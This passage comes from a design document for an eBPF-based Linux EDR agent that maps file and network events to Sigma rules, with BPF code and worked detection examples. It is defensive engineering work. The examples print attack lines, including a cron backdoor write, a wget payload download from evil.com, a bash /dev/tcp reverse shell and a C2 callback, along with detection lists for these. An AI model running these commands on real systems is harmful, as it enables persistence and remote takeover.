- '/etc/crontab'
condition: 1 of selection*
level: medium
Scenario: An attacker creates a cron job for persistence:
echo '*/5 * * * * /tmp/backdoor' > /etc/cron.d/updater
The shell opens /etc/cron.d/updater with O_CREAT|O_WRONLY|O_TRUNC.
Step-by-step through the pipeline:
-
BPF sys_enter_openat fires:
flags = O_CREAT | O_WRONLY | O_TRUNC (includes O_CREAT → tracked) filename = "/etc/cron.d/updater" dfd = AT_FDCWD → stored in openat_args[pid_tgid] -
BPF sys_exit_openat fires:
return value = 3 (valid fd → success) → lookup openat_args[pid_tgid] → found → populate file_event, submit to ring buffer -
BPF file_event received:
file_event { timestamp_ns: 1707600200000000000 pid: 9100 uid: 0 dfd: -100 (AT_FDCWD) flags: 0x241 (O_CREAT | O_WRONLY | O_TRUNC) filename: "/etc/cron.d/updater" filename_len: 20 } -
Userland field reconstruction:
filename starts with "/" → absolute, no dfd resolution needed /proc/9100/exe → "/bin/bash" os/user.LookupId(0) → "root" -
Normalized DataFieldsMap:
"TargetFilename" = "/etc/cron.d/updater" "Image" = "/bin/bash" "User" = "root" "ProcessId" = "9100" -
Sigma evaluation:
selection1: TargetFilename|startswith: '/etc/cron.d/' → "/etc/cron.d/updater" startswith "/etc/cron.d/" → MATCH condition: 1 of selection* → selection1 MATCHED → DETECTION at level medium
4.8 Worked Example: wget Download to /tmp
Rule: file_event_lnx_wget_download_file_in_tmp_dir.yml
title: Wget Creating Files in Tmp Directory
logsource:
product: linux
category: file_event
detection:
selection:
Image|endswith: '/wget'
TargetFilename|startswith:
- '/tmp/'
- '/var/tmp/'
condition: selection
level: medium
Scenario: Attacker downloads a payload:
wget http://evil.com/rat -O /tmp/rat
wget internally calls openat(AT_FDCWD, "/tmp/rat", O_CREAT|O_WRONLY, 0644).
Normalized DataFieldsMap:
"TargetFilename" = "/tmp/rat"
"Image" = "/usr/bin/wget"
"User" = "www-data"
"ProcessId" = "9200"
Sigma evaluation:
Image|endswith: '/wget'
→ "/usr/bin/wget" endswith "/wget" → MATCH
TargetFilename|startswith: '/tmp/'
→ "/tmp/rat" startswith "/tmp/" → MATCH
condition: selection → ALL conditions met → DETECTION at level medium
4.9 Performance Considerations for file_event
Event volume: File creation events can be significantly higher volume than process creation. A busy web server might create thousands of temporary files per second.
| Mitigation | Mechanism | Default |
|---|---|---|
| BPF-side flag filter | Only track O_CREAT opens (skip reads) | Always on |
| BPF-side path prefix filter | Only emit events for watched directories | On (6 default prefixes) |
| Separate ring buffer | file_event uses its own ring buffer to avoid starving process events | 4 MB (configurable) |
| Userland rate limit | If file events exceed 10,000/s, log warning and sample | Off by default |
openat_args map sizing: The per-CPU hash map holding in-flight enter/exit
pairs is sized at 10,240 entries. This covers the maximum number of concurrent
openat() calls system-wide. If the map is full, new enters are silently
dropped (safe — just misses an event).
4.10 Limitations
-
O_CREAT vs true creation:
openatwithO_CREATfires even when the file already exists and is merely opened. This means some events represent "open existing file for writing" rather than "create new file." Sigma rules that detect specific filenames (e.g.,/etc/crontab) still match correctly regardless. -
Rename/move events: Not captured by openat tracing. Detecting file renames requires separate tracing of
sys_renameat2. Planned for a future iteration. -
File writes without O_CREAT: A process that opens an existing file with
O_WRONLY(noO_CREAT) and modifies it is not captured. For Sigma rules that detect modification of existing config files, this could be extended by also trackingO_WRONLY | O_RDWRopens to watched paths. -
Hardlink/symlink creation:
linkat()andsymlinkat()create new directory entries withoutopenat(). Not covered in this phase.
5. Step 3: network_connection via eBPF
5.1 Sigma Rule Corpus Analysis
Target: 5 rules in sigma/rules/linux/network_connection/
| Rule File | Detection Focus | Key Fields Used |
|---|---|---|
net_connection_lnx_back_connect_shell_dev.yml | Bash reverse shell (non-loopback) | Image|endswith: '/bin/bash', filter DestinationIp: '127.0.0.1', '0.0.0.0' |
net_connection_lnx_crypto_mining_indicators.yml | Monero mining pool connections | DestinationHostname: 'pool.minexmr.com', ... (22 pool domains) |
net_connection_lnx_ngrok_tunnel.yml | Ngrok tunneling exfiltration | DestinationHostname|contains: 'tunnel.us.ngrok.com', ... |
net_connection_lnx_domain_localtonet_tunnel.yml | LocaltoNet tunneling C2 | DestinationHostname|endswith: '.localto.net', '.localtonet.com', Initiated: 'true' |
net_connection_lnx_susp_malware_callback_port.yml | Malware callback ports | Initiated: 'true', DestinationPort: 4444, 8531, ..., filter DestinationIp|cidr: '127.0.0.0/8', ... |
Complete Sigma field inventory across all 5 rules:
| Sigma Field | Modifiers Used | # Rules | Role |
|---|---|---|---|
DestinationHostname | exact, |contains, |endswith | 3 | Selection |
DestinationIp | exact, |cidr | 2 (1 selection, 1 filter) | Selection + filter |
DestinationPort | exact | 1 | Selection |
Initiated | exact | 2 | Selection |
Image | |endswith | 1 | Selection |
Rule operability without DestinationHostname:
| Rule | Works without DNS? | Why |
|---|---|---|
back_connect_shell_dev | Yes | Uses only Image + DestinationIp |
susp_malware_callback_port | Yes | Uses Initiated + DestinationPort + DestinationIp |
crypto_mining_indicators | No | Uses DestinationHostname only |
ngrok_tunnel | No | Uses DestinationHostname only |
domain_localtonet_tunnel | No | Uses DestinationHostname + Initiated |
Result: 2 of 5 rules work immediately; 3 require the DNS correlation phase.
5.2 Hook Selection
Chosen hook: tracepoint/sock/inet_sock_set_state (kernel 4.16+)
| Criterion | inet_sock_set_state (chosen) | kprobe on tcp_connect | kprobe on tcp_v4_connect | syscalls/sys_{enter,exit}_connect |
|---|---|---|---|---|
| ABI stability | Stable tracepoint | Unstable: function signature changes | Unstable, IPv4-only | Stable but generic (all socket types) |
| Kernel compat | 4.16+ (well within our 5.2+ baseline) | All, but fragile | All, but IPv4 only | 4.7+ |
| Protocol coverage | TCP only (IPv4 + IPv6) | TCP only | IPv4 TCP only | All (TCP, UDP, Unix — must filter) |
| Direction detection | Built-in: oldstate/newstate reveals direction | Outbound only | Outbound only | Hard to determine |
| Data available | struct sock * → local/remote addr, ports, PID | Same | Same (IPv4 only) | Raw args (must parse sockaddr) |
| Noise | Low: fires on state transitions only | Low | Low | Very high: includes UDP, Unix sockets |
Justification: inet_sock_set_state fires on TCP state transitions,
providing a clean, low-noise signal for connection events. It covers both IPv4
and IPv6, and the old/new state pair directly reveals connection direction:
TCP_CLOSE → TCP_SYN_SENT= outbound connection initiationTCP_SYN_RECV → TCP_ESTABLISHED= inbound connection accepted
The tracepoint has been stable since kernel 4.16, well within our minimum kernel requirement of 5.2+.
UDP connections: Not covered by this tracepoint. UDP-based Sigma rules (if
any are added in the future) would require kprobe/udp_sendmsg or
sock/inet_sock_set_state does not apply to UDP. This is an accepted gap for
the current rule corpus (all 5 rules target TCP-based connections).
5.3 BPF Program Design
BPF C Struct
// lib/provider/ebpf/bpf/net_monitor.c
struct net_event {
__u64 timestamp_ns; // bpf_ktime_get_ns()
__u32 pid; // bpf_get_current_pid_tgid() >> 32
__u32 uid; // bpf_get_current_uid_gid() & 0xFFFFFFFF
__u16 sport; // local port (host byte order)
__u16 dport; // remote port (host byte order)
__u8 saddr[16]; // local IP (IPv4: v4-mapped-v6 in bytes 12-15)
__u8 daddr[16]; // remote IP (IPv4: v4-mapped-v6 in bytes 12-15)
__u8 family; // AF_INET (2) or AF_INET6 (10)
__u8 initiated; // 1 = outbound (SYN_SENT), 0 = inbound (SYN_RECV→ESTABLISHED)
__u16 _pad; // alignment padding
};
Size: ~64 bytes per event (much smaller than exec events).
BPF Program Flow
SEC("tracepoint/sock/inet_sock_set_state")
int trace_inet_sock_set_state(struct trace_event_raw_inet_sock_set_state *ctx) {
// Filter: only care about connection establishment transitions
int oldstate = ctx->oldstate;
int newstate = ctx->newstate;
__u8 initiated;
if (oldstate == TCP_CLOSE && newstate == TCP_SYN_SENT) {
initiated = 1; // outbound
} else if (oldstate == TCP_SYN_RECV && newstate == TCP_ESTABLISHED) {
initiated = 0; // inbound
} else {
return 0; // not a connection event we care about
}
// Reserve ring buffer space
struct net_event *evt = bpf_ringbuf_reserve(&events, sizeof(*evt), 0);
if (!evt) {
// buffer full → count and drop
__u32 key = 0;
__u64 *count = bpf_map_lookup_elem(&lost_events, &key);
if (count) __sync_fetch_and_add(count, 1);
return 0;
}
// Populate fields from tracepoint context and current task
evt->timestamp_ns = bpf_ktime_get_ns();
evt->pid = bpf_get_current_pid_tgid() >> 32;
evt->uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
evt->family = ctx->family;
evt->sport = ctx->sport;
evt->dport = ctx->dport;
evt->initiated = initiated;
// Copy addresses (IPv4 or IPv6)
if (ctx->family == AF_INET) {
// Store as v4-mapped: ::ffff:a.b.c.d
__builtin_memset(evt->saddr, 0, 10);
evt->saddr[10] = 0xff; evt->saddr[11] = 0xff;
__builtin_memcpy(&evt->saddr[12], &ctx->saddr, 4);
__builtin_memset(evt->daddr, 0, 10);
evt->daddr[10] = 0xff; evt->daddr[11] = 0xff;
__builtin_memcpy(&evt->daddr[12], &ctx->daddr, 4);
} else {
__builtin_memcpy(evt->saddr, &ctx->saddr_v6, 16);
__builtin_memcpy(evt->daddr, &ctx->daddr_v6, 16);
}
bpf_ringbuf_submit(evt, 0);
return 0;
}
5.4 Userland Field Reconstruction
Image
- Source:
/proc/PID/exe(same as process_creation and file_event). - Cache: Reuses the process correlation cache.
- Challenge: For long-lived server processes (e.g., nginx, java), the
process may have been running before Aurora Linux started. In that case, the
correlation cache has no entry, and
/proc/PID/exeis the only source.
DestinationIp
- Source: BPF
daddrfield. - IPv4 formatting: Extract bytes 12-15 from the v4-mapped representation:
fmt.Sprintf("%d.%d.%d.%d", daddr[12], daddr[13], daddr[14], daddr[15]) - IPv6 formatting:
net.IP(daddr).String()which handles compression (e.g.,::1,fe80::1). - Sigma compatibility: Rules use
DestinationIp: '127.0.0.1'(exact) andDestinationIp|cidr: '10.0.0.0/8'(CIDR). Both are handled by go-sigma's built-in CIDR modifier support.
DestinationPort
- Source: BPF
dportfield (already in host byte order from the tracepoint). - Format: Decimal string:
strconv.Itoa(int(dport)). - Sigma compatibility: Rules use
DestinationPort: 4444(exact match on integer). go-sigma handles string/int comparison.
SourceIp / SourcePort
- Source: BPF
saddr/sportfields. - Not required by current Sigma rules but included for forensic context.
Initiated
- Source: BPF
initiatedflag. - Format:
"true"(outbound) or"false"(inbound). - Sigma compatibility: Rules use
Initiated: 'true'(string exact match).
DestinationHostname (Deferred — Phase 2)
- Phase 1: Field is set to empty string
"". Rules requiring DestinationHostname will not match. - Phase 2 — DNS correlation: A separate BPF program traces DNS queries and
responses to build an
IP → hostnameLRU cache. See Section 5.8.
5.5 network_connection: Full Field Mapping Table
| # | Sigma Field | Derived From | Stored As (DataFieldsMap Key) | Example Value |
|---|---|---|---|---|
| 1 | Image | /proc/PID/exe (or process correlation cache) | "Image" | /bin/bash |
| 2 | DestinationIp | BPF daddr, formatted as IPv4/IPv6 string | "DestinationIp" | 10.0.0.1 |
| 3 | DestinationPort | BPF dport (host byte order) | "DestinationPort" | 4444 |
| 4 | Initiated | BPF initiated flag from state transition | "Initiated" | true |
| 5 | DestinationHostname | DNS correlation cache (Phase 2) | "DestinationHostname" | pool.minexmr.com (empty in Phase 1) |
Additional internal fields:
| Field | Source | Key | Purpose |
|---|---|---|---|
| SourceIp | BPF saddr | "SourceIp" | Forensic context |
| SourcePort | BPF sport | "SourcePort" | Forensic context |
| User | BPF uid → username | "User" | Forensic context |
| ProcessId | BPF pid | "ProcessId" | Correlation |
| EventID | Hardcoded 3 | Event.ID().EventID | Log source routing |
| Protocol | "tcp" (only TCP for now) | "Protocol" | Forensic context |
5.6 Sigma Field Coverage
| Sigma Field | # Rules Using It | Provided? | Notes |
|---|---|---|---|
DestinationHostname | 3 | Phase 2 | Empty in Phase 1 (DNS correlation required) |
DestinationIp | 2 | Yes | Full coverage including CIDR modifier |
DestinationPort | 1 | Yes | Full coverage |
Initiated | 2 | Yes | Full coverage |
Image | 1 | Yes | Full coverage |
Phase 1 coverage: 4 of 5 fields provided; 2 of 5 rules fully operational. Phase 2 coverage: 5 of 5 fields; 5 of 5 rules operational.
5.7 Worked Example: Bash Reverse Shell Detection
Rule: net_connection_lnx_back_connect_shell_dev.yml
title: Linux Reverse Shell Indicator
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filter
level: critical
Scenario: Attacker executes a bash reverse shell:
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Bash opens a TCP connection to 10.0.0.1:4242. The kernel transitions the
socket state from TCP_CLOSE → TCP_SYN_SENT.
Step-by-step through the pipeline:
-
BPF tracepoint fires (
inet_sock_set_state):oldstate = TCP_CLOSE, newstate = TCP_SYN_SENT → initiated = 1 (outbound) -
BPF net_event submitted to ring buffer:
net_event { timestamp_ns: 1707600300000000000 pid: 7500 uid: 33 sport: 45678 dport: 4242 saddr: ::ffff:192.168.1.100 daddr: ::ffff:10.0.0.1 family: AF_INET initiated: 1 } -
Userland field reconstruction:
/proc/7500/exe → "/bin/bash" IPv4 extraction(daddr) → "10.0.0.1" dport → "4242" initiated → "true" os/user.LookupId(33) → "www-data" -
Normalized DataFieldsMap:
"Image" = "/bin/bash" "DestinationIp" = "10.0.0.1" "DestinationPort" = "4242" "SourceIp" = "192.168.1.100" "SourcePort" = "45678" "Initiated" = "true" "User" = "www-data" "ProcessId" = "7500" -
Sigma evaluation:
selection: Image|endswith: '/bin/bash' → "/bin/bash" endswith "/bin/bash" → MATCH filter: DestinationIp: '127.0.0.1' → "10.0.0.1" == "127.0.0.1" → NO MATCH DestinationIp: '0.0.0.0' → "10.0.0.1" == "0.0.0.0" → NO MATCH filter overall → NO MATCH (nothing excluded) condition: selection and not filter → MATCH AND NOT FALSE → DETECTION at level critical
5.8 Worked Example: Malware Callback Port Detection
Rule: net_connection_lnx_susp_malware_callback_port.yml
title: Potentially Suspicious Malware Callback Communication - Linux
logsource:
category: network_connection
product: linux
detection:
selection:
Initiated: 'true'
DestinationPort:
- 888
- 999
- 2200
- 2222
- 4000
- 4444
- 6789
- 8531
- 50501
- 51820
filter_main_local_ranges:
DestinationIp|cidr:
- '127.0.0.0/8'
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '169.254.0.0/16'
- '::1/128'
- 'fe80::/10'
- 'fc00::/7'
condition: selection and not 1 of filter_main_*
level: high
Scenario: A Sliver C2 implant connects to its handler on port 8531:
/tmp/.cache/update → TCP 203.0.113.50:8531
Normalized DataFieldsMap:
"Image" = "/tmp/.cache/update"
"DestinationIp" = "203.0.113.50"
"DestinationPort" = "8531"
"Initiated" = "true"
"User" = "www-data"
"ProcessId" = "7600"
Sigma evaluation:
selection:
Initiated: 'true' → "true" == "true" → MATCH
DestinationPort: 8531 → "8531" in [888, 999, ..., 8531, ...] → MATCH
filter_main_local_ranges:
DestinationIp|cidr: '127.0.0.0/8' → "203.0.113.50" in 127/8? → NO
DestinationIp|cidr: '10.0.0.0/8' → in 10/8? → NO
DestinationIp|cidr: '172.16.0.0/12' → in 172.16/12? → NO
DestinationIp|cidr: '192.168.0.0/16' → in 192.168/16? → NO
(all CIDR checks fail → filter does NOT match)
condition: selection and not 1 of filter_main_*
→ MATCH AND NOT FALSE → DETECTION at level high
5.9 DNS Correlation Design (Phase 2)
To enable the 3 rules that require DestinationHostname, a DNS correlation
subsystem will be added in a follow-up phase.
Architecture:
┌──────────────────────────────┐
│ BPF: kprobe/udp_sendmsg │
│ filter: dport == 53 │
│ extract DNS query name │
│ → dns_query ring buffer │
└──────────────┬───────────────┘
│
┌──────────────▼───────────────┐
│ BPF: kprobe/udp_recvmsg │
│ filter: sport == 53 │
│ extract DNS response IPs │
│ → dns_response ring buffer │
└──────────────┬───────────────┘
│
┌──────────────▼───────────────┐
│ Userland DNS Correlation │
│ dns_query_name → pending │
│ dns_response: name → IPs │
│ → populate IP→hostname LRU │
└──────────────┬───────────────┘
│
┌──────────────▼───────────────┐
│ Network Event Enricher │
│ on net_event: lookup │
│ daddr in IP→hostname cache │
│ → set DestinationHostname │
└──────────────────────────────┘
Cache design:
- LRU with 65,536 entries
- Key: IP address string (e.g.,
"203.0.113.50") - Value: hostname string (e.g.,
"pool.minexmr.com") - TTL: 300 seconds (matches typical DNS TTL)
- Multiple hostnames per IP: store the most recent
Parsing DNS in BPF: DNS wire format parsing in BPF is feasible but complex (label compression, variable-length names). An alternative is to capture the raw DNS packet payload (up to 512 bytes for standard DNS) and parse it in userland Go code, which is simpler and more maintainable.
5.10 Performance Considerations for network_connection
| Concern | Mitigation |
|---|---|
| High connection rate (web servers) | inet_sock_set_state only fires on state transitions — no per-packet overhead |
| Short-lived connections | Events are small (~64 bytes), ring buffer handles bursts well |
| Separate ring buffer | network_connection uses its own 4 MB ring buffer |
/proc/PID/exe for long-lived processes | Result is cached in the process correlation cache on first lookup |
Expected event rates: Most servers establish 10-1,000 TCP connections per second. At 64 bytes/event, even 10,000 connections/s produces only 640 KB/s of ring buffer throughput — well within capacity.
6. Performance, Safety & Deployment
6.1 Backpressure & Drop Policy
BPF program (kernel) Go reader goroutine (userland)
────────────────────── ──────────────────────────────
bpf_ringbuf_reserve(~300 B) ringbuf.Reader.Read() ← blocks until data
│ │
├─ success → write + submit ├─ parse binary struct
│ ├─ read /proc/PID/* (< 100 μs)
└─ NULL (buffer full) ├─ build DataFieldsMap
│ └─ callback(event) → distributor
└─ atomic_inc(lost_events[0])
No secondary userland queue: The ring buffer IS the queue. The Go goroutine reads and processes events synchronously from it. This avoids double-buffering and keeps memory usage predictable.
Overflow behavior: When the ring buffer is full, the BPF program drops the event and increments the lost counter. The kernel is never blocked or slowed — this is critical for system stability.
6.2 Buffer Sizing
| Config | Default | Rationale |
|---|---|---|
| Ring buffer size | 8 MB (2,048 pages) | ~28,000 events at ~300 B each. At 1,000 exec/s, 28 seconds of buffer. |
| CommandLine max read | 32,768 bytes | Matches kernel ARG_MAX practical limits. 99.99% of command lines fit. |
| Correlation cache size | 16,384 entries | LRU. Covers ~16K concurrent processes. Typical server has 200-2,000. |
| UID cache size | 256 entries | Most systems have < 50 unique UIDs performing execs. |
--ringbuf-size is currently an informational CLI flag and is not yet wired
to runtime BPF map sizing.
6.3 Truncation Policy
| Field | Max Length | Truncation Signal | Impact on Sigma Matching |
|---|---|---|---|
BPF filename | 256 bytes | filename_len == 256 | Only affects fallback path; primary source is /proc/PID/exe (no practical limit) |
CommandLine | 32,768 bytes | Suffix " ...(truncated)" appended; CommandLineTruncated field set to "true" | contains works on prefix portion. endswith may miss on the truncated tail. Analysts see the flag in logs. |
Image | 4,096 bytes (PATH_MAX) | Never truncated in practice | N/A |
ParentCommandLine | 32,768 bytes | Same as CommandLine | Same caveats |
comm (BPF) | 16 bytes (kernel limit) | Always truncated for names > 15 chars | Not used as a Sigma field; only for fallback identification |
6.4 Privileges & Capabilities
| Capability | Kernel | Purpose |
|---|---|---|
CAP_BPF | 5.8+ | Load BPF programs and create BPF maps |
CAP_PERFMON | 5.8+ | Attach to tracepoints |
CAP_SYS_PTRACE | Any | Read /proc/PID/exe for other users' processes (depends on yama/ptrace_scope) |
CAP_SYS_ADMIN | 5.2–5.7 | Replaces CAP_BPF + CAP_PERFMON on older kernels |
Recommended: Run as root. Alternative: use systemd AmbientCapabilities
for a dedicated aurora user.
6.5 systemd Service
# deploy/aurora.service
[Unit]
Description=Aurora Linux EDR Agent
After=network.target
[Service]
Type=simple
Environment=AURORA_RULES_DIR=/opt/aurora-linux/sigma-rules/rules/linux
Environment=AURORA_LOG_FILE=/var/log/aurora-linux/aurora.log
EnvironmentFile=-/opt/aurora-linux/config/aurora.env
ExecStart=/opt/aurora-linux/aurora-linux \
--rules ${AURORA_RULES_DIR} \
--logfile ${AURORA_LOG_FILE} \
--json
Restart=on-failure
RestartSec=5
# Privileges
User=root
# Alternative non-root setup:
# User=aurora
# AmbientCapabilities=CAP_BPF CAP_PERFMON CAP_SYS_PTRACE
# NoNewPrivileges=false
# BPF requires locked memory for maps and ring buffer
LimitMEMLOCK=infinity
# Resource limits
CPUQuota=35%
MemoryMax=512M
# Hardening
ProtectSystem=strict
ReadWritePaths=/var/log/aurora-linux /opt/aurora-linux
PrivateTmp=true
[Install]
WantedBy=multi-user.target
Critical: LimitMEMLOCK=infinity is required. BPF maps are allocated as
locked memory. Without this, bpf(BPF_MAP_CREATE) fails with EPERM.
6.6 Failure Modes When eBPF is Unavailable
Initialize() attempts to load BPF programs via cilium/ebpf. On failure, it
produces a specific, actionable error message:
| Error Pattern | Likely Cause | Log Message |
|---|---|---|
"unknown func" or "BTF" | Kernel too old (< 5.2) or BTF disabled | FATAL: eBPF requires kernel 5.2+ with BTF. Detected kernel X.Y. Cannot start. |
"EPERM" or "operation not permitted" | Missing capabilities | FATAL: eBPF requires CAP_BPF+CAP_PERFMON (5.8+) or CAP_SYS_ADMIN (5.2-5.7) or root. Cannot start. |
"ENOMEM" | MEMLOCK limit too low | FATAL: eBPF needs LimitMEMLOCK=infinity in the systemd unit. Cannot start. |
"EBUSY" on tracepoint attach | Another BPF program occupies the tracepoint | FATAL: tracepoint/sched/sched_process_exec is busy. Another eBPF agent may be running. Cannot start. |
The agent exits with non-zero exit code. systemd Restart=on-failure handles
transient issues (e.g., race during early boot before BPF subsystem is ready).
6.7 Lost Event Monitoring
The LostEvents() method reads the BPF array map counter:
func (l *Listener) LostEvents() uint64 {
var key uint32 = 0
var count uint64
l.objs.LostEvents.Lookup(&key, &count)
return count
}
Periodically (every 60s), the agent logs the lost event count:
INFO LinuxEBPF: 150,000 events processed, 12 lost (0.008%)
If lost events exceed a configurable threshold (default: 1% of total), a warning is emitted suggesting the operator increase the ring buffer size.
7. Testing Strategy
7.1 Unit Tests: Field Mapping
File: lib/provider/ebpf/fieldmap_test.go
These tests run on any OS (no BPF required). They verify the pure-Go field reconstruction logic:
| Test | Input | Expected Output |
|---|---|---|
TestJoinCmdline | []byte("python3\x00-c\x00import os\x00") | "python3 -c import os" |
TestJoinCmdlineTruncated | [32768]byte all 'A' | strings.HasSuffix(result, " ...(truncated)") |
TestJoinCmdlineEmpty | []byte{} | "" |
TestJoinCmdlineSingleArg | []byte("ls\x00") | "ls" |
TestUidToUsername | uid=0 | "root" |
TestUidToUsernameUnknown | uid=99999 | "99999" (numeric fallback) |
TestLoginUidParsing | "1000" | "1000" |
TestLoginUidUnset | "4294967295" | "" (empty = unset) |
TestBuildDataFieldsMap | exec_event{Pid: 1234, ...} + resolved fields | Assert: .Value("Image").String == "/usr/bin/bash", .Value("User").String == "root", .Value("ProcessId").String == "1234" |
7.2 Integration Tests: Live eBPF
File: lib/provider/ebpf/integration_test.go
Build tag: //go:build integration
These require root and kernel 5.8+. Skipped in normal CI; run on a privileged test VM (e.g., GitHub Actions self-hosted runner or Vagrant VM).
Test 1: Exec Event Capture
TestExecEventCapture:
1. Create eBPF Listener, call Initialize()
2. Call SendEvents(callback) where callback collects events into a channel
3. exec.Command("/bin/echo", "integration-test-marker").Run()
4. Wait up to 2s for an event where Image endswith "/echo"
and CommandLine contains "integration-test-marker"
5. Assert:
Image == "/bin/echo" (or /usr/bin/echo)
CommandLine == "echo integration-test-marker"
User == current test user
ParentImage endswith test binary name
6. Close listener
Test 2: End-to-End Sigma Match
TestSigmaMatchEndToEnd:
1. Load a minimal test Sigma rule:
logsource: {category: process_creation, product: linux}
detection:
selection:
Image|endswith: '/echo'
CommandLine|contains: 'sigma-test-marker'
condition: selection
level: high
2. Wire: eBPF Listener → Distributor → SigmaConsumer
3. Configure SigmaConsumer with the test rule + log source mappings
4. exec.Command("/bin/echo", "sigma-test-marker").Run()
5. Wait for SigmaConsumer to produce a match
6. Assert:
match.Rule.Title == test rule title
match event fields contain expected values
7.3 Capture/Replay Harness for CI
For CI environments where BPF is unavailable (standard GitHub Actions runners, containers without BPF):
-
Recording mode: The eBPF listener supports a
--record-events <path>flag. When enabled, each processed event is serialized as a JSON line to the file before being passed to the callback. The JSONL contains the complete DataFieldsMap. -
Replay provider: A
lib/provider/replay/package implementsEventProvider. It reads JSONL files and emits events with recorded timestamps. This can be wired into the distributor in place of the eBPF provider. -
CI test fixture:
testdata/recorded_exec_events.jsonlis checked into the repo. It contains events from a controlled test run — executing commands that trigger Sigma rules (base64 decode, Java child process, curl to /tmp, python reverse shell, etc.). -
CI test: Load the fixture through the replay provider, run the full Linux Sigma process_creation ruleset, and assert expected matches. This verifies the entire pipeline (field names, log source mapping, Sigma matching) without requiring BPF.
lib/provider/replay/
├── replay.go ReplayProvider implementing EventProvider
└── replay_test.go Tests using testdata/*.jsonl
8. Roadmap Beyond Steps 1–3
8.1 DNS Correlation for DestinationHostname (Step 3 Phase 2)
See Section 5.9 for the detailed design. This enables the remaining 3 of 5 network_connection Sigma rules (crypto mining, ngrok, localtonet).
8.2 Future Event Categories
| Category | Hook | Key Fields | Notes |
|---|---|---|---|
| kernel_module / driver_load | tracepoint/module/module_load | ModuleName, Image (insmod/modprobe) | Detect rootkit module insertion |
| file_delete | tracepoint/syscalls/sys_enter_unlinkat | TargetFilename, Image | Detect evidence destruction |
| file_rename | tracepoint/syscalls/sys_enter_renameat2 | TargetFilename, SourceFilename, Image | Detect file moves/renames |
| process_termination | tracepoint/sched/sched_process_exit | ProcessId, Image, ExitCode | Cache eviction, process lifetime analysis |
| dns_query | kprobe/udp_sendmsg (port 53) | QueryName, QueryType, Image | Feed DestinationHostname DNS correlation cache |
| file_write (O_WRONLY without O_CREAT) | Extend file_monitor.c to also track non-create writes to watched paths | TargetFilename, Image | Detect modification of existing config files |
Appendix A: Concrete ToDo List for Step 1 Implementation
| # | Task | Package | Notes |
|---|---|---|---|
| 1 | Initialize Go module (go mod init) | root | Module path: github.com/Nextron-Labs/aurora-linux (or chosen org) |
| 2 | Write BPF C program exec_monitor.c | lib/provider/ebpf/bpf/ | Tracepoint attachment, struct, ring buffer, lost counter |
| 3 | Run bpf2go code generation | lib/provider/ebpf/ | //go:generate directive, check in .go + .o |
| 4 | Implement EventProvider interface | lib/provider/ebpf/listener.go | Initialize, Close, AddSource, SendEvents, LostEvents |
| 5 | Implement /proc field reconstruction | lib/provider/ebpf/procfs.go, fieldmap.go | readExeLink, readCmdline, readCwd, readLoginUid, joinCmdline |
| 6 | Implement UID→username cache | lib/provider/ebpf/usercache.go | golang-lru based |
| 7 | Define core interfaces | lib/provider/provider.go, lib/enrichment/enricher.go | EventProvider, DataFields, DataFieldsMap, DataValue |
| 8 | Implement event distributor | lib/distributor/distributor.go | checkEvent → enrich → forward |
| 9 | Implement enricher + correlator | lib/distributor/enricher.go, lib/enrichment/correlator.go | LRU parent cache, ManipulatorFunc registry |
| 10 | Implement Sigma consumer | lib/consumer/sigma/sigmaconsumer.go | Load rules, wrap events, scan, report matches |
| 11 | Create log source YAML configs | resources/log-sources/ | ebpf-log-sources.yml + ebpf-log-source-mappings.yml |
| 12 | Implement CLI with cobra | cmd/aurora/main.go | Flags: --rules, --logfile, --json, --ringbuf-size |
| 13 | Implement JSON + text log formatters | lib/logging/ | Logrus formatters for JSON and human-readable text output |
| 14 | Write unit tests for field mapping | lib/provider/ebpf/fieldmap_test.go | See Section 5.1 |
| 15 | Write integration tests | lib/provider/ebpf/integration_test.go | See Section 5.2 |
| 16 | Build replay provider | lib/provider/replay/ | For CI without BPF |
| 17 | Create systemd unit file | deploy/aurora.service | See Section 4.5 |
| 18 | Create test fixture JSONL | testdata/recorded_exec_events.jsonl | Record from integration test VM |
Appendix B: Event ID Assignments
| EventID | Category | Sigma logsource.category | Provider Source |
|---|---|---|---|
| 1 | Process Creation | process_creation | LinuxEBPF:ProcessExec |
| 3 | Network Connection | network_connection | LinuxEBPF:NetConnect |
| 11 | File Event (Create) | file_event | LinuxEBPF:FileCreate |
These IDs are chosen to align with Sysmon event IDs for familiarity, though Aurora Linux is not a Sysmon replacement.